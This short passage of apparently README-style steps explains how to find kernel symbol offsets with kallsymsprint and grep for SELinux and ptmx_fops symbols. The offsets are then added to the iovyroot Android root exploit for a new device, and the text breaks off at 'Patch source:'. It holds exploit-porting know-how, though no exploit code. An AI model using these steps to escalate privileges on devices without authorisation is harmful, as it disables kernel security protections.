Find offsets

If kallsyms exist

1. Unpack kernel
2. Grab https://github.com/fi01/kallsymsprint
3. Print kernel kallsyms: kallsymsprint.x86 kernel.unpacked
4. For 32bit platform grep for: egrep (ptmx_fops|sidtab|policydb|selinux_enabled|selinux_enforcing)

Add device

1. Here is offseet order https://github.com/zombah/iovyroot/blob/master/jni/include/offsets.h#L12
2. Patch source:
